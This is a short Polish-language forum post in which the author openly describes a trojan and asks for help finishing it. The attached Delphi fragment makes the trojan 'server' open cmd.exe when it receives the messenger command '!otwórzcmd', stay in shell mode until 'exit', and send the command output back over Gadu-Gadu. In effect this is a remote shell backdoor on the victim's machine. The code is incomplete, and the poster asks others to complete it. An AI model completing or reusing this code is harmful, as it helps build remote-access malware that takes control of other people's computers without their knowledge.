Jak zrobić żeby np. po wysłaniu do trojana komendy "!otwórzcmd" server otwierał cmd i z niego nie wychodził (czyli oczekiwałby tylko na komendy cmd a nie komendy trojana, zaś po wysłaniu "exit" zamykałby cmd i przyjmował już normalne inne komendy trojana). Stosuję np. TDosCommand:
....ktoś pomoże dokończyć?
Kod:
procedure TForm1.ggRecvMsg(Sender: TObject; MsgBody: String;
MsgFormat: array of Variant; MsgFrom: Integer);
if MsgBody = '!otwórzcmd' then
begin
DosCommand1.CommandLine := 'cmd.exe';
DosCommand1.Execute;
gg.GGSendMessage(true,123456,DosCommand1.OutputLines,MsgFormat);
....ktoś pomoże dokończyć?